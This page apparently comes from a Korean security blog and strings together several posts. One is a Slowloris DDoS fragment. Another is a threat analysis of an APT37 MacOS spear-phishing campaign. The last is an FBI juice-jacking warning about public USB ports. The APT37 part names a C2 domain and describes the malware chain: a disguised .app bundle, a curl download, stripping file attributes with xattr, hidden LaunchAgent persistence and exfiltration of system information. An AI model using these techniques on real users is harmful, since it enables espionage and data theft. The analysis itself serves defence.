Slowloris HTTP Header를 조작해 전송하여 웹 서버가 모든 데이터를 수신하기까지 대기하도록 하여 웹 서버의 자원 소진

 

- 23.06.24 30분 ~ 2시간 동안 news[.]ua(우크라이나 뉴스)를 공격하여 서비스 중단 발생

- 23.06.25 30분 ~ 1시간 동안 alhadath[.]net(아랍 뉴스)를 공격하여 서비스 중단 발생

- 23.06.26 30분 ~ 1시간 동안 alarabiya[.]net(아랍 뉴스)를 공격하여 서비스 중단 발생

1. 개요

- 23.05.17 지니언스 시큐리티 센터(이하 GSC)는 북한연계 해킹 그룹 APT37 의 새로운 사이버 위협 활동을 발견

> 대북 분야 주요 인사들은 북한연계 해킹 그룹의 사이버 위협으로 부터의 나름의 전략으로 맥북 사용을 선호

- 공격 대상의 비밀번호 탈취를 위해 피싱 공격과 정보 수집 수행 후 해당 과정에서 확인된 웹 브라우저 및 OS 정보를 활용해 MacOS 기반 악성파일 공격을 수행

> MacOS 공격은 대표적으로 정상 서비스로 위장한 솔루션, 불법 소프트웨어 자료실, MS Word 문서 메크로 등

> 해당 사례의 경우 이메일 본문 내 MacOS 용 ZIP 파일 다운로드 링크를 포함하여 클릭을 유도하는 스피어 피싱

※ MacOS 이용자의 일반적인 경험과 확장자 숨긴 조건, 아이콘만으로 파일 유형을 판단해 접근하는 맹점을 이용

 

2. 주요내용

2.1 피싱 메일

- 공격자는 고려대 일민국제관계연구원에서 운영하는 온드림 글로벌 아카데미 담당교수를 사칭

- 북한 인권 제도 및 실태 주제의 특강을 요청하는 메일 발송

> 이메일 제목 예시: [특강 의뢰] 6.30(금) 고려대 일민국제관계연구원 - 온드림 글로벌 아카데미 등

> 고려대 일민국제관계연구원은 공식 사이트를 통해 "[알림] 연구원 직원 사칭 사이버공격(스피어피싱) 메일 주의" 게시

 

- 강의 의뢰에 대한 수락 의사를 회신할 경우 악성 링크가 포함된 안내 메일 발송

> 보안 메일 보기 버튼 클릭 유도구글 Gmail 계정 정보 탈취를 시도 

> 비밀번호 탈취에 실패하더라도 User-Agent 값으로 대상자의 OS와 웹 브라우저를 식별 가능

※ 관련 정보는 환경에 따른 우회 및 가용성, 무결성을 손상시키기 위한 맞춤형 공격을 설계하는데 활용

 

- R2P 국제회의 진행자료 파일로 위장 및 북한 인권 운동 홍보에 활용해 달라는 내용으로 첨부자료 열람을 유도

> 첨부자료명: '제 6 회 R2P 국제회의 진행자료.zip'

 

[사진 1] 공격 과정 요약

 

2.2 악성 동작

- '제 6 회 R2P 국제회의 진행자료.zip' 파일은 6개의 파일이 존재

> ‘제 6 회 R2P 국제회의.app’ 맥용 응용프로그램(번들)과 미끼용 JPG 사진 파일 5 개

※ 번들: 실행 코드와 해당 코드에 사용되는 리소스를 포함하는 표준화된 계층 구조를 가진 디렉토리

 

[사진 2] 제6회 R2P 국제회의.zip 압축 해제

 

- 일반적인 MacOS 환경에서 '모든 파일 확장자 보기' 기능이 해제 되어있어 아이콘만으로 파일 유형을 판단하도록 유도

> JPG 파일의 경우 확장자가 기본 설정에서 보이지만, APP 확장자는 보이지 않음

 

- 해당 번들의 패키지 내용을 보면 리소스내 ‘AppIcon.icns’ 애플 아이콘 이미지가 HWP 문서로 지정

> 정상 ‘제 6 회 R2P 국제회의.hwp’ 문서를 내부에 포함해 악성 파일이 실행될 때 함께 보여주는 용도로 사용

 

[사진 3] 제 6 회 R2P 국제회의.app 내용

2.2.1 Image 파일

- 파일 내부에는 curl 명령이 삽입되어 있어 C2 서버에서 파일을 다운로드하여 실행

> 삼성 관련 도메인으로 위장하고 있으며, 현재는 민관 협력을 통해 국내 접속을 차단한 상태

> ‘pathForResource:ofType:’ 함수를 통해 번들 내부 리소스 영역에 존재하는 ‘제 6 회 R2P 국제회의.hwp’ 정상 문서를 실행하여 의심 최소화

 

[사진 4] Image 파일 내 curl 스크립트

① curl

- samsunggalaxynote[.]com에서 whatnew 파일을 tmp 경로에 ‘com.apple.auto_update’ 이름으로 다운로드해 저장

옵션 설명
-s 에러가 발생가 있더라도 출력하지 않음
-f HTTP 오류에 대한 출력이 없는 Fail fast
-L 서버에서 HTTP 301 이나 HTTP 302 응답이 왔을 경우 redirection URL로 이동
-o 다운로드한 데이터의 저장 위치 지정

 

② xattr

- MacOS에서 파일이나 디렉터리에 속성 내용을 관리하는 명령어

- 다운로드 경로 등의 정보를 제거

옵션 설명
-c 확장속성(Extended Attributes) 전체 삭제

 

③ chmod

옵션 설명
+x 파일 실행 권한 부여

 

④ rm

옵션 설명
-r 하위 파일까지 모두 삭제
-f 삭제할 파일이나 디렉터리가 존재하지 않더라도 강제 삭제

 

2.2.2 com.apple.auto_update 파일

- Image 파일과 동일한 C2 서버로 접근해 ‘singlework’를 다운로드하여 '.loginwindow'로 저장

> ‘/Users/%@/Library/LaunchAgents’ 경로에 '.com.apple.windowserver.plist' 파일을 숨김속성으로 생성

> RunAtLoad(로드시 실행), KeepAlive(실행 상태유지) 오브젝트 키 옵션을 활성화(true)

> ‘launchctl remove com.google.keystone.xpc.server’ 명령을 수행하여, 구글 크롬 관련 파일 삭제를 시도

 

[사진 5] com.apple.auto_update 내부 문자열 화면

2.2.3 .loginwindow 파일

- 앞서 확인되었던 동일한 C2와 통신을 수행

> Temporary Item 경로에 현재 날짜와 시간, 프로세스 리스트, 이용자 정보, 아이피 주소와 네트워크 구성 등 다양한 시스템 정보(System Info)를 수집 및 텍스트 파일로 저장해 C2 서버로 전송을 시도

> ‘us’ 파일을 임시폴더(tmp) 경로에 ‘mdworker’ 파일로 다운로드 후 실행하여 추가 명령을 진행

 

[사진 6] .loginwindow&nbsp;파일&nbsp;내용

3. 이전 사례와의 유사도

- 과거 확인된 C2 주소와 동일한 C2 주소 사용

- 위장 파일에 삽입된 명령의 유사함

- 정보 탈취 대상 목록 파일의 유사함

 

4. 악성파일 제작 도구 노출

- C2 서버를 통해 바로가기(LNK) 악성파일 제작 도구가 노출

> MFC(Microsoft Foundation Class Library) 기반으로 제작
> 23.03.24 09:52 제작되어 현재까지 사용 중
> PDB 경로: C:\Users\JJJ\Desktop\tmp\MyEWork_Auto\Debug\MyEWork_Auto.pdb

 

[ 사진 7] LNK 악성파일 자동화 제작 도구

5. 참고

[1] https://www.genians.co.kr/blog/threat_intelligence_report_macos
[2] https://n.news.naver.com/article/005/0001617760?cds=news_my_20s

1. 개요

- 23.04 FBI 덴버 사무소는 공공장소에서 흔히 볼 수 있는 공용 USB 포트를 사용한 스마트폰 충천 금지 발표 [1]

- 공격자들이 공용 USB 포트를 통해 멀웨어와 모니터링 소프트웨어를 사용자 단말에 설치하는 방법을 알아냄

- 공항, 호텔, 쇼핑센터 등에서 USB 포트 대신 개인용 충전기 사용 권고

 

2. 주요 내용

 

[사진 1] FBI 덴버 사무소 트위터

 

- FBI와 연방통신위원회(FCC)는 공용 USB 포트를 사용한 "주스재킹(Juice jacking)"을 경고 [2][3]

> 지난 5년간 주스재킹과 관련된 해킹 공격이 공식적으로 보도되지 않았으며, 기술적인 어려움 또한 존재

> 그러나, 관련 해킹이 불가능한 것은 아니며 아직까지는 기술 및 비용적 효율이 낮기 때문으로 보임

> 2022년 발표에 따르면 USB를 활용하도록 설계된 멀웨어와 관련된 위협이 52%로 증가 [4]

 

주스재킹(Juice jacking)
- 2011년 DEFCON에서 최초로 선보인 공격 기법
- 공항, 호텔, 쇼핑센터 등 공공장소에 있는 공용 USB를 이용한 멀웨어 유포 및 정보 탈취 공격
- 손상된 USB 포트를 통해 설치된 멀웨어는 장치를 잠그거나 사용자의 비밀번호, 신용카드 정보, 주소, 이름 등의 정보를 훔칠 수 있음
- 탈취한 개인 정보를 통해 공격자는 계정에 액세스 하거나 다른 공격자들에게 판매하여 2차 피해가 발생 가능

 

- 주스재킹을 수행하는데 필요한 기술과 비용, 접근성 등은 과거에 비해 누구나 접근할 수 있도록 발전되고 있음

> 대표적으로 O.MG 케이블이 존재 [5][6]

> 외형은 애플의 케이블과 유사해 육안으로 식별하기 어려우며 다양한 기능을 제공

> 자체적으로 와이파이 핫스팟을 만들고 해커는 1.5km 떨어진 곳에서도 키 입력 정보를 받아 볼 수음

> MG라는 보안 연구원이 침투 테스트용으로 개발해 2019 DEFCON에서 공개하였으며, 보안 업체 Hak5가 양산 및 판매

 

[사진 2] O.MG 케이블 외관(좌) 및 기능(우)

 

- 스마트폰 제조업체는 주스재킹의 위협을 줄이기 위한 보호 기능을 개발 중이나 결코 완벽하다고 할 수 없음

> 아이폰 또는 아이패드의 경우 공용 USB 포트에 연결하면 ‘이 컴퓨터를 신뢰하시겠습니까?’ 등의 메시지 표시

> 관련 메시지가 표시되지 않더라도 ‘액세서리가 지원되지 않음’이라는 경고가 표시될 수 있으며, 즉시 연결 해제 필요

> 사용자의 단말이 멀웨어에 감염 되었는지 알 수 없으며, 탐지 또한 어려움 

> 따라서, 공용 USB 포트나 케이블은 가급적 사용하지 말고, 보조 배터리 또는 콘센트 이용 권고

 

3. USB 데이터 차단기

- 주스재킹 등 관련된 위협을 줄이고자 등장한 일종의 젠더 [7]

- 일반적인 USB는 4개의 핀으로 구성

> 충전을 위한 핀 2개데이터 전송을 위한 핀 2개로 구성됨

 

[사진 3] USB 핀 구조

 

- USB 데이터 차단기데이터 전송을 위한 2개의 핀을 제거하여 데이터 전송을 차단하는 원리

> 데이터 전송 핀을 제거하여 데이터 유출 위험이 없으며, 멀웨어를 유포하지 못함

> 멀웨어 유포 및 데이터 유출 위험으로부터 단말을 보호하여 프라이버시를 향상

> 일반적인 USB와 크기가 비슷하여 휴대성이 뛰어나며, 저렴

 

[사진 4] 작동 원리

 

4. 참고

[1] https://www.cbsnews.com/news/fbi-warns-against-juice-jacking-what-is-it/
[2] https://twitter.com/FBIDenver/status/1643947117650538498?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1643947117650538498%7Ctwgr%5E8e2bfe2d8f81b6903ee3ccdd6699d21c8023eb0a%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.cbsnews.com%2Fnews%2Ffbi-warns-against-juice-jacking-what-is-it%2F
[3] https://www.fcc.gov/juice-jacking-tips-to-avoid-it
[4] https://www.honeywellforge.ai/us/en/campaigns/industrial-cybersecurity-threat-report-2022#form
[5] https://shop.hak5.org/products/omg-cable
[6] https://www.earlyadopter.co.kr/153255
[7] https://www.amazon.com/PortaPow-3rd-Data-Blocker-Pack/dp/B00T0DW3F8/ref=sr_1_3?crid=1WASVMK1MP6UI&keywords=USB+condoms&qid=1685191337&sprefix=usb+c%2Caps%2C1011&sr=8-3&tag=muo-v2-3h3kgvk-20&ascsubtag=UUmuoUeUpU2025871&asc_refurl=https%3A%2F%2Fwww.makeuseof.com%2Fwhat-is-usb-condom%2F&asc_campaign=Evergreen

+ Recent posts